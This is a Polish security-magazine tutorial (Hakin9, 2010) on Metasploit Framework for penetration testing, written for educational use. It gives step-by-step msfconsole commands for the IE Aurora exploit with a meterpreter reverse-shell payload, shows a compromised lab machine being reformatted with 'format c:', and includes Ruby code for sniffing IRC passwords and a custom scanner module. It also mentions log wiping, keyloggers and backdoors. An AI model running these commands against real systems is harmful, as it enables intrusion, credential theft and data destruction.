58
HAKIN9
ATAK
4/2010
W
poprzednim artykule na temat
praktycznej pracy w środowisku
Metasploit Framework (Metasploit
w praktyce, hakin9 3/2010) poznaliśmy
jego podstawowe możliwości w zakresie
przeprowadzania testów penetracyjnych z
wykorzystaniem gotowych modułów.
Z udostępnianych przez Metasploit
interfejsów użytkownika, poznaliśmy
szczegółowo środowisko msfconsole. Jako,
że jest najbardziej stabilne, najczęściej
aktualizowane oraz pozwala na dostęp
do praktycznie wszystkich funkcji, nadal
będziemy przede wszystkim z niego korzystać.
Poznaliśmy również kilka praktycznych
przykładowych testów penetracyjnych. Wiemy
już więc, że Metasploit Framework może
zostać wykorzystany na etapie rekonesansu
do zbierania informacji o docelowej
infrastrukturze za pomocą szeregu zawartych
w nim modułów pomocniczych (ang.
auxiliary). Wiemy również, że setki modułów
exploitów oraz payloadów (programów
wykonywanych w przejętym systemie po
udanym wykonaniu ataku testowego za
pomocą exploitu) pozwalają na wykonywanie
niezliczonej ilości zaawansowanych testów
penetracyjnych. Poznaliśmy również przykłady
ataków testowych wymagających interakcji
z użytkownikiem docelowego systemu, czyli
takich, które są w praktyce spotykane coraz
częściej.
WOJCIECH SMOL
Z ARTYKUŁU
DOWIESZ SIĘ
czym jest ofensywne
bezpieczeństwo,
na czym polegają
zaawansowane testy
penetracyjne,
jakie praktyczne możliwości
oferuje Metasploit Framework
w zakresie tworzenia własnych
modułów,
w jaki sposób komputerowi
włamywacze odkrywają luki w
systemach informatycznych
i w jaki sposób się do nich
włamują.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawowe rodzaje
ataków na systemy
informatyczne,
znać podstawy obsługi
systemu Linux.
Poznaliśmy również najważniejsze
informacje na temat zyskującego coraz
większą popularność, ofensywnego
podejścia (ang. Offensive Security) do
tematu bezpieczeństwa informatycznego.
Przypomnijmy, że bezpieczeństwo ofensywne
opiera się przede wszystkim na praktycznym
sprawdzaniu bieżącego stanu bezpieczeństwa
systemu teleinformatycznego. Praktycznym do
tego stopnia, że wykorzystuje w swych testach
narzędzia stosowane przez... komputerowych
włamywaczy. Osoba zajmująca się
ofensywnym bezpieczeństwem będzie więc
szukać w testowanym systemie luk za pomocą
skanera Nessus, czy też określać widoczność
komputerów oraz ich usług za pomocą
skanera nmap. Najciekawszą część takiego
przedsięwzięcia będą jednak stanowić testy
penetracyjne.
Testy penetracyjne stanowią metodę oceny
bezpieczeństwa systemu informatycznego
poprzez symulowanie prawdziwych ataków
mogących pochodzić od potencjalnych
włamywaczy. Tester (zwany często etycznym
hakerem lub pentesterem), korzystając z
prawdziwych narzędzi umożliwiających
wykonanie udanego włamania, próbuje
przełamać zabezpieczenia testowanego
systemu. Dopiero tego rodzaju testy są w stanie
odpowiedzieć na pytanie, czy dany system
informatyczny jest rzeczywiście odporny na
znane obecnie rodzaje ataków. Przykłady
Stopień trudności
Metasploit
w praktyce
cz. II
Artykuł przedstawia krok po kroku wszystko to, co każdy
zainteresowany bezpieczeństwem IT chciał zawsze wiedzieć
o zaawansowanych testach penetracyjnych oraz metodach
tworzenia własnych modułów Metasploit Framework, ale bał
się własnoręcznie sprawdzić.
59
HAKIN9
METASPLOIT W PRAKTYCE CZ. II
4/2010
tego rodzaju działań, polegających na
wykonywaniu testowych włamań do
własnych systemów (lub cudzych, za pełną
zgodą uprawnionych administratorów
oraz właścicieli) poznaliśmy właśnie w
poprzednim opracowaniu.
Jednak Metasploit Framework pozwala
nie tylko na używanie zawartych w nim w
sposób modularny exploitów, ale również
na tworzenie oraz testowanie własnych
lub przerabianie tych już istniejących.
Środowisko to zawiera również narzędzia
wspierające przebieg kompleksowej
oceny bezpieczeństwa całej infrastruktury,
w tym narzędzia pozwalające na
gromadzenie oraz analizowanie danych
otrzymywanych na podstawie kolejnych
przeprowadzanych testów.
Praktyka czyni mistrza!
Moim celem ponownie nie jest
omówienie wszystkich, niezliczonych
możliwości środowiska Metasploit. Nie
będę się również zajmował istniejącymi
metodologiami przeprowadzania testów
penetracyjnych, takimi jak OSSTMM
(ang. Open Source Security Testing
Methodology Manual).
Ponownie skupię się przede
wszystkim na praktycznych przykładach,
na podstawie których poznamy kolejne
możliwości Metasploit Framework.
Na początek przypomnijmy sobie
jednak podstawy pracy w środowisku
msfconsole na przykładzie najnowszego,
słynnego już exploitu Aurora.
Informacje o nowej luce Zero
Day, obecnej w niemal wszystkich
wersjach przeglądarki Internet Explorer,
pojawiły się 12 stycznia br. wraz z
doniesieniami o udanych cyberatakach
(ochrzczonych w toku dalszych wydarzeń
mianem operacji Aurora) precyzyjnie
wymierzonych w Google, Adobe oraz
kilkadziesiąt innych wiodących firm
z branży informatycznej. Microsoft
niezwłocznie (14.01.2010) opracował
odpowiedni poradnik zabezpieczeń
(Microsoft Security Advisory 979352),
zawierający szereg porad utrudniających
przeprowadzenie udanych ataków.
Od tego momentu, nie upłynęły nawet
24 godziny, a exploit wykorzystujący
najnowszą lukę został upubliczniony
i włączony w skład środowiska
Metasploit Framework. W międzyczasie
rządy Niemiec i Francji zaleciły swym
obywatelom przesiadkę na alternatywne
przeglądarki internetowe. Wreszcie
Microsoft podjął decyzję o załataniu
tej groźnej luki poza comiesięcznym
cyklem łatania, co zostało ostatecznie
zrealizowane 21. stycznia. Przykład ten
pokazuje, jak niesamowicie szybko
społeczność włącza w skład środowiska
Metasplit najnowsze exploity, dzięki
czemu jesteśmy w stanie na bieżąco
testować podatność własnych systemów
na najnowsze zagrożenia typu Zero Day.
Warto przy okazji podkreślić, że operacja
Aurora stanowi jeden z pierwszych
zaobserwowanych ataków typu APT
(ang. Advanced Persistent Threat)
przeprowadzonych na tak masową
skalę. Ataki tego typu wymierzone są
zazwyczaj w duże korporacje lub ośrodki
polityczne i polegają na zaawansowanej
(skoordynowanej i wykorzystującej
zaimplementowany specjalnie na tę
okazję zaawansowany malware, będący
w stanie wykorzystać nieznane do tej
pory luki), uporczywej (zastosowanie
nieznanego do tej pory złośliwego
oprogramowania pozwala zazwyczaj na
uniknięcie wykrycia przez dłuższy czas)
infiltracji, której celem jest zebranie ściśle
określonych danych. Zdaniem wielu
specjalistów, operacja Aurora stanowi
zapowiedź nowej ery tego rodzaju
ataków. My natomiast przypomnijmy
sobie procedurę przeprowadzania testów
penetracyjnych z poziomu msfconsole
sprawdzając podatność testowego
systemu Windows XP na działanie słynnej
Aurory.
Tak jak poprzednio, jako środowisko
pracy z Metasploit Framework posłuży
nam najnowszy systemem Linux
BackTrack 4 Final. W systemie tym,
dostęp do msfconsole uzyskamy,
wykonując polecenie
./pentest/
exploits/framework3/msfconsole
lub
też wybierając z głównego systemowego
menu opcję Backtrack/Penetration/
Metasploit Exploitation Framework/
Framework Version 3/msfconsole.
Zanim jednak zaczniemy na dobre,
zaktualizujmy jeszcze całe środowisko
Metasploit za pomocą polecenia svn
update. W jego wyniku rozpocznie się
automatyczny proces aktualizacyjny,
dzięki któremu do dyspozycji otrzymamy
wszystkie najnowsze, dostępne na obecną
chwilę moduły. Wyposażeni w odpowiednią
wiedzę oraz broń załadowaną najnowszą
amunicją możemy wreszcie przystąpić do
naszego pierwszego wystrzału z Aurory.
W tym celu należy w konsoli
msfconsole wykonać następujące
polecenia:
msf > use exploit/windows/
browser/ie _ aurora
(wybór oraz
wejście w tryb konfiguracji modułu
exploitu ie_aurora),
•
msf exploit(ie _ aurora) > set
PAYLOAD windows/meterpreter/
reverse _ tcp
(wybór oraz wejście
w tryb konfiguracji modułu
payloadu
meterpreter/reverse _ tcp
;
payload
to kod, który zostanie
uruchomiony w docelowym systemie
w przypadku udanego wykonania się
ataku testowego),
•
msf exploit(ie _ aurora) > set
LHOST 192.168.64.129
(ustawienie
adresu IP naszego systemu, z którym
payload uruchomiony w docelowym
systemie nawiąże połączenie
zwrotne),
•
msf exploit(ie _ aurora) > set
URIPATH /
(ustawienie ścieżki w
adresie, na który musimy zwabić
potencjalną ofiarę, w tym przypadku
będzie to po prostu adres komputera,
na którym konfigurujemy exploit),
• msf exploit(ie_aurora) > exploit
(uruchomiemie exploitu ie_aurora).
W tym momencie nasz exploit przygotuje
serwer oczekujący na przyjęcia
połączenia z docelowego systemu, co
poznamy po następującej sekwencji
komunikatów:
•
[*] Exploit running as
background job. msf
exploit(ie _ aurora) >
•
[*] Started reverse handler on
port 4444
•
[*] Using URL: http://0.0.0.0:
8080/
•
[*] Local IP: http://
192.168.64.129:8080/
•
[*] Server started.
60
HAKIN9 4/2010
61
HAKIN9
4/2010
Teraz pozostaje nam już tylko
odwiedzenie w docelowym systemie
za pomocą przeglądarki Internet
Explorer złośliwego adresu (czyli
adresu określonego w parametrze:
Local IP: http://192.168.64.129:8080/).
W trakcie rzeczywistego ataku, intruz
starałby się zwabić potencjalną ofiarę
na przygotowany przez siebie adres
za pomocą specjalnie przygotowanej
wiadomości e-mail, poprzez przesłanie
linku za pomocą komunikatora IM, itp.
Po odwiedzeniu w systemie
docelowym złośliwego adresu (http:
//192.168.64.129:8080/), jeśli tylko system
ten będzie podatny na atak, w środowisku
Metasploit ujrzymy następującą
sekwencję komunikatów:
•
[*] Sending Microsoft
Internet Explorer "Aurora"
Memory Corruption to client
192.168.64.135 [*] Sending
stage (723456 bytes)
,
•
[*] Meterpreter session 1
opened (192.168.64.129:4444 -
>192.168.64.135:1109)
,
•
msf exploit(ie _ aurora) >
.
Połączenie z docelowym systemem
zostało więc nawiązane, a my za pomocą
następujących komend możemy uzyskać
pełny dostęp do wiersza poleceń ofiary:
•
msf exploit(ie _ aurora) >
sessions -i 1
,
•
[*] Starting interaction with
1...
,
•
meterpreter > getuid
(wyświetlenie
informacji o użytkowniku zalogowanym
w docelowym systemie),
•
Server username: WOJTEK-
CQS4EXFU\admin
,
•
meterpreter > shell
(uruchomienie konsoli systemowej
przejętego systemu),
•
Process 388 created
,
•
Channel 1 created
,
•
Microsoft Windows XP [Version
5.1.2600]
,
•
(C) Copyright 1985-2001
Microsoft Corp.
,
•
C:\Documents and Settings\
admin\Desktop>format c
:
(jesteśmy w konsoli docelowego
systemu, możemy rozpocząć dowolne
działania w zdalnym systemie...),
•
format c:
,
•
The type of the fi le system is
NTFS
,
•
WARNING, ALL DATA ON NON-
REMOVABLE DISK
,
•
DRIVE C: WILL BE LOST!
,
•
Proceed with Format (Y/N)? Y
.
Przebieg całej procedury można
prześledzić na Rysunku 1.
Podsumowując, udało nam się więc
przejąć całkowitą kontrolę nad systemem
Windows XP za pomocą exploitu Zero
Day. Exploit Aurora wszedł w skład
Metasploit Framework na długo przed
opublikowaniem przez Microsoft
stosowanych poprawek bezpieczeństwa.
Skoro przypomnieliśmy już sobie
z jak potężnym narzędziem do
przeprowadzania testów penetracyjnych
mamy do czynienia, możemy przystąpić
do poznawania kolejnych z jego
niezliczonych możliwości.
Zarządzanie zdobytymi
informacjami
Każdy test penetracyjny, czy to
przeprowadzany w pojedynkę, czy też
zespołowo, polega w dużej mierze na
gromadzeniu znacznych ilości informacji.
Już w średniej wielkości organizacji, ilość
danych zgromadzonych na temat całej
infrastruktury na etapie rekonesansu oraz
na temat poszczególnych podatności
wykrytych w trakcie właściwych testów
penetracyjnych, może być przytłaczająca.
Każdy pentester chciałby
dysponować narzędziem umożliwiającym
gromadzenie informacji o
przeprowadzonych do tej pory testach,
szybkie wyszukiwanie w dotychczasowych
wynikach oraz wspierające wymianę
informacji z zespołem oraz przydatne
w trakcie tworzenia raportu z przebiegu
całej operacji. Środowisko Metasploit
Framework oczywiście zostało
wyposażone w mechanizmy wspierające
tego typu operacje.
W środowisku msfconsole, podręczną
bazę danych opartą na technologii
SQLite możemy utworzyć za pomocą
polecenia
db _ create
. Następnie
należy załadować moduł
db _ tracker
,
korzystając z polecenia load
db _
tracker
. Natomiast polecenie
help
pozwoli nam na wyświetlenie wszystkich
dostępnych poleceń dla naszej
podręcznej bazy danych:
•
db _ add _ host
– dodanie jednego
lub więcej hostów do bazy,
•
db _ add _ note
– dodanie notatki
do hosta,
•
db _ add _ port
– dodanie
informacji o porcie hosta,
Rysunek 1.
Słynny exploit Aurora w akcji
ATAK
60
HAKIN9 4/2010
61
HAKIN9
4/2010
•
db _ autopwn
– uruchomienie automatycznego testu
penetracyjnego,
•
db _ connect
– nawiązanie połączenia z istniejącą bazą
danych,
•
db _ create
– utworzenie nowej bazy danych,
•
db _ del _ host
– usunięcie jednego lub więcej hostów z
bazy,
•
db _ del _ port
– usunięcie informacji o porcie,
•
db _ destroy
– usunięcie istniejącej bazy danych,
•
db _ disconnect
– zerwanie połączenia z istniejącą bazą
danych,
•
db _ driver
– określenie sterownika bazy danych,
•
db _ hosts
– wyświetlenie informacji o wszystkich hostach
w bazie danych,
•
db _ import _ amap _ mlog
– import informacji z pliku
wynikowego programu THC-Amap,
•
db _ import _ nessus _ nbe
– import informacji z pliku
wynikowego (NBE) programu Nessus,
•
db _ import _ nessus _ xml
– import informacji z pliku
wynikowego (NESSUS) programu Nessus,
•
db _ import _ nmap _ xml
– import informacji z pliku
wynikowego programu Nmap,
•
db _ nmap
– uruchomienie skanowania programem
Nmap i zapisanie wyników do bazy,
•
db _ notes
– wyświetlenie wszystkich notatek zapisanych
w bazie,
•
db _ service
s – wyświetlenie wszystkich usług odkrytych
w ramach testowanych hostów,
•
db _ vulns
– wyświetlenie wszystkich podatności
zapisanych w bazie.
Następujący prosty przykład ilustruje wykorzystanie
wbudowanej w Metasploit Framework bazy danych do
zarządzania informacjami zbieranymi w trakcie testu
penetracyjnego:
•
db _ nmap -v -sV 192.168.64.0/24
– przeskanowanie
sieci 192.168.64.* za pomocą programu Nmap
uruchomionego z zadanymi parametrami i zapisanie
wyników do bazy danych,
•
db _ hosts
– w wyniku otrzymamy informacje na temat
hostów odkrytych przez skaner Nmap,
•
db _ services
– w wyniku otrzymamy informacje na
temat wszystkich usług, które zostały odkryte w ramach
hostów przeskanowanych programem Nmap.
Jak widać praca z bazą nie jest skomplikowana, a daje nam
naprawdę spore możliwości gromadzenia oraz analizowania
informacji zdobywanych na bieżąco w trakcie rekonesansu oraz
ataków testowych. Pentesterzy szukający jeszcze większych
możliwości w zakresie zarządzania informacjami gromadzonymi
w trakcie testów penetracyjnych, powinni natomiast zapoznać
się oprogramowaniem Dradis Framework.
Dradis to otwarty (open source) framework wspierający
nie tylko zbieranie oraz zarządzanie informacjami
ATAK
62
HAKIN9 4/2010
METASPLOIT W PRAKTYCE CZ. II
63
HAKIN9
4/2010
gromadzonymi w trakcie audytów
bezpieczeństwa informatycznego, ale
również narzędzie pracy grupowej. Z
najciekawszych cech tego aktywnie
rozwijanego oprogramowania warto
wymienić możliwość komunikacji z
wykorzystaniem SSL, funkcje importu z
wielu programów (np. Nmap, Nessus),
możliwość dołączania plików, funkcje
automatycznego tworzenia raportów oraz
możliwość korzystania z zewnętrznych
systemów baz danych informacji o
podatnościach (ang. Vulnerability
databases).
Rozszerzanie możliwości
modułów
Jak już wspominałem, każdy fragment
środowiska Metasploit może zostać
przez nas podejrzany, zmieniony, a
nawet wykorzystany we własnym celu.
Taka otwartość pozwala na proste
tworzenie własnych funkcji, naukę
poprzez podglądanie najciekawszych
rozwiązań, a przede wszystkim powoduje,
że Metasploit Framework ma dosłownie
nieograniczone możliwości. Jeśli jakaś
funkcja jest nam potrzeba, możemy ją
po prostu utworzyć lub zmodyfikować
na własny użytek, moduł już istniejący.
Tego rodzaju funkcjonalności nigdy
nie otrzymamy w przypadku bardzo
kosztowych, zamkniętych pakietów
komercyjnych, takich jak choćby
środowisko Core Impact. Jako przykład
rozszerzenia możliwości środowiska
Metasploit Framework o własne pomysły,
spróbujmy rozszerzyć możliwości modułu
pomocniczego
psnuffl e
.
Moduł pomocniczy
auxiliary/
sniffer/psnuffl e
oferuje możliwość
podsłuchiwania haseł używanych w
protokołach pop3, imap, ftp, oraz http.
Oferuje funkcjonalność zbliżoną do
programu Dsniff. Użycie tego modułu w
środowisku msfconsole jest niezwykle
proste i sprowadza się do wykonania
następujących poleceń:
•
msf > use auxiliary/sniffer/
psnuffl e
•
msf auxiliary(psnuffl e) > run
Jeśli tylko w widocznym dla naszego
systemu ruchu sieciowym pojawią
się rozpoznawane przez psnuffle
mechanizmy uwierzytelniania,
natychmiast zostaniemy poinformowani o
przechwyconych poświadczeniach:
•
[*] Auxiliary module running
as background job
•
[*] Loaded protocol FTP from
/pentest/exploits/framework3/
data/exploits/psnuffl e/ftp.rb...
•
[*] Loaded protocol IMAP from
/pentest/exploits/framework3/
data/exploits/psnuffl e/
imap.rb...
•
[*] Loaded protocol POP3 from
/pentest/exploits/framework3/
data/exploits/psnuffl e/
pop3.rb...
•
[*] Loaded protocol URL from
/pentest/exploits/framework3/
data/exploits/psnuffl e/url.rb...
•
[*] Sniffi ng traffi c.....
•
[*] Successful FTP Login:
192.168.6.212:21-192.168.6.201:
46614 >> user / pass (220 3Com
3CDaemon FTP Server Version
2.0)
Załóżmy teraz, że chcielibyśmy rozszerzyć
możliwości modułu psnuffle o funkcję
sniffera poświadczeń przekazywanych
za pomocą protokołu IRC (Internet Relay
Chat). Stojąc przed tak postawionym
zadaniem, najprościej będzie, jeśli
zapoznamy się z istniejącymi już
w ramach
psnuffl e
modułami i
wykorzystamy je do własnego celu. W
systemie Linux BackTrack 4 Final, moduły
te odnajdziemy w katalogu /pentest/
exploits/framework3/data/exploits/
psnuffle. Jako szablon wykorzystamy
moduł sniffera protokołu pop3 zawarty
w pliku pop3.rb. Dzięki skorzystaniu z
gotowego przykładu, jesteśmy w stanie
w stosunkowo prosty sposób utworzyć
poszczególne elementy własnego
rozszerzenia modułu. Poszczególne
części będą miały następującą postać.
Definicje wzorców:
self.sigs = {
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}
Definicje portów oraz sposobu śledzenia
sesji: (Listing 1).
Następnie wystarczy już tylko
opracować przetwarzanie zawartości
pakietów i wychwytywanie treści
spełniających założenia zdefiniowanych
powyżej wyrażeń regularnych. Z pełną
treścią proponowanego rozszerzenia
Rysunek 2.
Metasploit wspomaga zarządzanie zebranymi informacjami
ATAK
62
HAKIN9 4/2010
METASPLOIT W PRAKTYCE CZ. II
63
HAKIN9
4/2010
możliwości modułu
psnuffl e
można się
zapoznać pod następującym adresem:
http://www.offensive-security.com/msf/irc.rb.
Widać więc wyraźnie, ze dzięki
całkowitej otwartości kodu, środowisko
Metasploit Framework daje nam
niesamowitą elastyczność oraz
niespotykaną łatwość tworzenia własnych
modyfikacji oraz rozszerzeń.
Tworzenie własnych
modułów
Może się również zdarzyć tak, że
modyfikacja, bądź rozszerzenie
możliwości jakiegoś modułu będzie
dla nas niewystarczające. Jeśli więc
do skutecznego przeprowadzenia
zaplanowanych testów, niezbędne
okaże się utworzenie własnego modułu,
środowisko Metasploit Framework
ponownie okaże się na tę okazję
doskonałym rozwiązaniem. Załóżmy więc,
że jesteśmy zmuszeni w szybkim czasie
utworzyć własny specyficzny moduł
skanera sieciowego. Zadaniem naszego
skanera jest nawiązywanie połączeń TCP
(domyślnie na porcie 6666, moduł ma
jednak udostępniać możliwość zmiany
domyślnego ustawienia). Po nawiązaniu
połączenia skaner ma przesłać do serwera
wiadomość HELLO SERVER, odebrać
otrzymaną odpowiedź oraz wyświetlić jej
treść wraz z adresem IP zdalnego hosta.
Zadanie na pierwszy rzut oka wydaje
się niebanalne, w rzeczywistości jednak
dzięki temu, że możemy skorzystać ze
wszystkich klas oraz metod obecnych
już ramach środowiska Metasploit
Framework, rozwiązanie okazuje się
stosunkowo proste. Otóż nasz skaner
można utworzyć za pomocą, prostej
definicji (Listing 2).
Jak więc mogliśmy się przekonać,
dzięki wykorzystaniu gotowych
elementów środowiska, byliśmy w
stanie zaimplementować nasz skaner
w dosłownie kilkunastu liniach kodu, a
sam proces jego tworzenia przypominał
dopasowywanie gotowych klocków.
W celu praktycznego skorzystania z
naszego skanera wystarczy już tylko plik
z jego treścią zapisać (w systemie Linux
BackTrack 4 Final) w katalogu /pentest/
exploits/framework3/modules/auxiliary/
scanner/ pod nazwą nasz_tcp.rb. W
celu skorzystania z naszego skanera
wystarczy już tylko uruchomić środowisko
msfconsole i wydać następujące
polecenia:
•
msf > use auxiliary/scanner/
nasz _ tcp
•
msf auxiliary(nasz _ tcp) > set
RHOSTS 192.168.1.10
•
RHOSTS => 192.168.1.10
•
msf auxiliary(simple _ tcp) >
run
Okazuje się więc, że nawet w przypadku
wymogu utworzenia całkowicie nowego
modułu, środowisko Metasploit
Framework okaże się zaskakująco
pomocne dzięki niezwykle prostym
metodom wykorzystania istniejącego już
w jego ramach kodu.
Niezliczone możliwości
Poznaliśmy kilka kolejnych możliwości
środowiska Metasploit w zakresie
przeprowadzania zaawansowanych
testów penetracyjnych oraz zarządzania
danymi gromadzonymi w trakcie audytów.
Poznaliśmy również podstawowe metody
modyfikacji oraz tworzenia od podstaw
własnych modułów. Nadal jednak daleko
nam do poznania wszystkich możliwości
tego środowiska.
Warto jeszcze choćby tylko
wspomnieć o takich możliwościach
jak uruchomienie całego Metasploit
Framework jako payloadu w docelowym
systemie. Tego typu zabieg może bowiem
być niezwykle przydatny w momencie,
gdy uda nam się przejąć kontrolę nad
jednym z systemów w docelowej sieci, a
dalsze testy penetracyjne muszą być z
różnych względów (np. by ruch sieciowy
generowany przez testy penetracyjne nie
wychodził poza docelową infrastrukturę)
wykonywane już wyłącznie wewnątrz
docelowego lanu. Inne moduły Metasploit
pozwalają również na zacieranie śladów
(np. poprzez wyczyszczenie logów
systemowych), jakie testy penetracyjne
pozostawiły w docelowym systemie.
Istnieją również moduły stworzone z
myślą o zapewnieniu utrzymania dostępu
do przejętego systemu docelowego. Tego
typu moduły są w stanie zainstalować w
docelowym systemie keylogger lub też
backdoor, dzięki czemu pentester będzie
w stanie uzyskać dostęp do systemu,
nawet jeśli wcześniej wykorzystane luki
zostaną załatane.
Listing 1.
Sniffer haseł IRC, definicje portów oraz śledzenia sesji
return
if
not
pkt
[:
tcp
]
# We don't want to handle anything other than tcp
return
if
(
pkt
[:
tcp
]
.
src_port
!=
6667
and
pkt
[:
tcp
]
.
dst_port
!=
6667
)
#
Process
only
packet
on
port
6667
#Ensure that the session hash stays the same for both way of communication
if
(
pkt
[:
tcp
]
.
dst_port
==
6667
)
# When packet is sent to server
s
=
fi nd_session
(
"#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:
#{pkt[:tcp].src_port}"
)
else
# When packet is coming from the server
s
=
fi nd_session
(
"#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:
#{pkt[:tcp].dst_port}"
)
end
Listing 2.
Własny moduł
nietypowego skanera sieciowego
require
'
msf
/
core
'
class
Metasploit3
<
Msf
::
Auxiliary
include
Msf
::
Exploit
::
Remote
::
Tcp
include
Msf
::
Auxiliary
::
Scanner
def
initialize
super
(
'
Name
'
=>
'
My
custom
TCP
scan
',
'
Version
'
=>
'$
Revision
:
1
$',
'
Description
'
=>
'
My
quick
scanner
',
'
Author
'
=>
'
Your
name
here
',
'
License
'
=>
MSF_LICENSE
)
register_options
(
[
Opt
::
RPORT
(
6666
)
]
,
self
.
class
)
end
def
run_host
(
ip
)
connect
()
sock
.
puts
(
'
HELLO
SERVER
'
)
data
=
sock
.
recv
(
1024
)
print_status
(
"Received: #{data} from
#{ip}"
)
disconnect
()
end
end
ATAK
64
HAKIN9 4/2010
Metasploit Framework coraz częściej
oferuje również moduły o znacznym
stopniu zautomatyzowania przebiegu
testu penetracyjnego. Przykładowo moduł
browser_autopwn jest w stanie nie tylko
rozpoznać typ docelowej przeglądarki
internetowej, ale również automatycznie
uruchomić exploity przeznaczone dla
odkrytego typu oprogramowania i w
konsekwencji automatycznie uzyskać
dostęp do docelowego hosta! Komercyjne
środowiska do przeprowadzania testów
penetracyjnych, takie jak choćby niezwykle
kosztowny Core Impact, nie mają już więc
zbyt wielu argumentów w walce ze swymi
otwartymi odpowiednikami.
Wreszcie pozostaje jeszcze jedno z
najciekawszych zagadnień, czyli tworzenie
przy pomocy środowiska Metapsloit
Framework własnych exploitów. Materiał
ten jest jednak obszerny i wymaga
oddzielnego omówienia.
Warto również nadmienić, że
Framework stanowiący przedmiot naszych
rozważań, nie jest jedynym darmowym
oraz otwartym oprogramowaniem tego
typu. W samym systemie Linux BackTrack
4 Final mamy do dyspozycji kilka innych
środowisk do przeprowadzania testów
penetracyjnych, takich jak Fast-Track oraz
Inguma. Warto również zainteresować się
środowiskiem Social Engineering Toolkit,
które to umożliwia przeprowadzanie
nowatorskich testów penetracyjnych z
wykorzystaniem technik socjotechnicznych.
Każdy zainteresowany ofensywnym
bezpieczeństwem znajdzie więc z
pewnością pośród tych darmowych
rozwiązań odpowiednie dla siebie
środowisko pracy.
Podsumowanie
Poznaliśmy więc kolejne praktyczne
zastosowania środowiska Metasploit
Framework, tym razem nie ograniczaliśmy
się już jednak do samych testów
penetracyjnych i korzystania z gotowych
modułów. Wiemy już więc, że ten prawdziwy
kombajn, pozwalający na realistyczne
odzwierciedlenie wszystkich typów ataków
stosowanych przez komputerowych
włamywaczy, może również wspomagać
zarządzanie informacjami gromadzonymi
w trakcie audytu.
Przekonaliśmy się również na
podstawie praktycznych przykładów, że
Metasploit to nie tylko setki gotowych
exploitów oddanych w nasze ręce przez
najlepszych ekspertów od bezpieczeństwa
informatycznego poświęcających swój
czas na rozwój tego otwartego projektu,
ale również możliwość swobodnego
przetworzenia lub wykorzystania we
własnym celu każdego z tych modułów.
Przetwarzając lub budując od
podstaw własny moduł, do swej dyspozycji
otrzymujemy wszystkie klasy oraz metody
wchodzące w skład całego środowiska, co
czyni cały proces zaskakująco prostym.
Wszystko to sprawia, że utworzenie
własnego modułu w języku Ruby jest
stosunkowo proste, a nieskomplikowany
moduł można utworzyć w ciągu kilkunastu
minut z wykorzystaniem zaledwie
kilkunastu linii kodu.
Taka otwartość pozwala na proste
tworzenie własnych funkcji, naukę
poprzez podglądanie najciekawszych
rozwiązań, a przede wszystkim powoduje,
że Metasploit Framework ma dosłownie
nieograniczone możliwości. Jeśli jakaś
funkcja jest nam potrzeba, możemy ją
po prostu utworzyć lub zmodyfikować
na własny użytek moduł już istniejący.
Tego rodzaju funkcjonalności nigdy
nie otrzymamy w przypadku bardzo
kosztowych zamkniętych pakietów
komercyjnych, takich jak choćby
wspomniany już Core Impact.
Zachęcam więc ponownie wszystkich
zainteresowanych bezpieczeństwem
informatycznym do praktycznego
zapoznania się z testami penetracyjnymi
z wykorzystaniem środowiska
Metasploit Framework, ale również
spróbowania własnych sił w zakresie
implementowania własnych rozwiązań.
Nie ma bowiem skuteczniejszego oraz
bardziej ekscytującego sposobu na
przetestowanie bezpieczeństwa własnych
systemów, niż własnoręczne włamanie
się do ich zasobów. Natomiast tworzenie
własnych modułów będzie świetną okazją
do zapoznania się (w sposób legalny) z
warsztatem komputerowych włamywaczy
oraz profesjonalnych pentesterów.
Wszystko to w konsekwencji pozwoli
nam na lepsze zabezpieczenia własnej
infrastruktury oraz lepsze zrozumienie
czyhających na nią zagrożeń!
Wojciech Smol
Autor jest absolwentem wydziału Automatyki, Elektroniki
i Informatyki Politechniki Śląskiej w Gliwicach. Ukończył
studia na kierunku informatyka, o specjalności Bazy
danych, sieci i systemy komputerowe. Pracuje jako
administrator sieci i systemów komputerowych
oraz specjalista od bezpieczeństwa IT. Prowadzi
serwis HARD CORE SECURITY LAB dostępny
pod adresem http://hcsl.pl/. Kontakt z autorem:
wojciech.smol@gmail.com lub wojciech.smol@mz.pl.
W Sieci
• http://hcsl.pl/ – Hard Core Security Lab,
• http://www.metasploit.com/ – The Metasploit Project,
• http://www.offensive-security.com/metasploit-unleashed/ – Metasploit Framework: kurs online,
• http://www.hcsl.pl/2010/01/poznalismy-sposob-crackerow-na-google.html – nowy Zero Day
w MS Internet Explorer, exploit Aurora,
• http://www.microsoft.com/technet/security/advisory/979352.mspx – Microsoft Security
Advisory (979352),
• http://www.hcsl.pl/2010/01/ukaza-sie-dugo-oczekiwany-linuks.html – ukazał się długo
oczekiwany Linux BackTrack 4 Final!,
• http://sourceforge.net/projects/inguma/ – free penetration testing toolkit,
• http://www.thepentest.com/ – Fast-Track penetration testing toolkit,
• http://www.backtrack-linux.org/ – nowa strona domowa projektu Linux BackTrack,
• http://www.irongeek.com/i.php?page=videos/msfpayload-msfencoder-metasploit-3-3
– Using msfpayload and msfencode from Metasploit 3.3 to bypass anti-virus,
• http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx – Microsoft Security
Bulletin MS08-067 – Critical,
• http://dradisframework.org/ – Dradis Framework,
• http://www.coresecurity.com/content/core-impact-overview – strona domowa komercyjnego
środowiska do testów penetracyjnych CORE IMPACT PRO,
• http://www.isecom.org/osstmm/ – Open Source Security Testing Methodology Manual,
• http://vimeo.com/6013518 – przykład zastosowania modułu Psnuffle do podsłuchiwania
haseł.